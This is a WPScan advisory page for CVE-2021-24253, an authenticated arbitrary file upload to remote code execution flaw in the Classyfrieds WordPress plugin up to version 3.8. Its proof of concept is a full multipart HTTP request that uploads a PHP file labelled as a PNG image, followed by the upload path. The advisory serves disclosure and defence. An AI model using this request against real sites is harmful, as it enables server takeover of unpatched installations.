WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Classyfrieds <= 3.8 - Authenticated Arbitrary File Upload to RCE

Description

The plugin does not properly check the uploaded file when an authenticated user adds a listing, only checking the content-type in the request. This allows any authenticated user to upload arbitrary PHP files via the Add Listing feature of the plugin, leading to RCE.


Proof of Concept

POST /add_a_listing/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1762054704257995540849839116
Content-Length: 1092
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="titel"

UnexistingTitle
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="omschrijving"

aa
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="foto"; filename="a.php"
Content-Type: image/png

<?php echo 'FAILED'; ?>

-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="contactname"

user
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="featured"

yes
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="classyfried-field"

afbeef4ad0
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
-----------------------------1762054704257995540849839116
Content-Disposition: form-data; name="toevoegen"

submit data
-----------------------------1762054704257995540849839116--



The uploaded PHP file will be at https://example.com/wp-content/uploads/classyfrieds/user/a.php 

Affects Plugins

classyfrieds
No known fix - plugin closed

References

CVE
CVE-2021-24253
URL
https://github.com/jinhuang1102/CVE-ID-Reports/blob/master/classyfrieds.md

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Jin Huang

Submitter

Jin Huang

Submitter website
https://github.com/jinhuang1102
Submitter twitter
JinHWhite412Ash
Verified

Yes

WPVDB ID
ee42c233-0ff6-4b27-a5ec-ad3246bef079

Timeline

Publicly Published

2021-04-10 (about 1 years ago)

Added

2021-04-12 (about 1 years ago)

Last Updated

2021-04-14 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us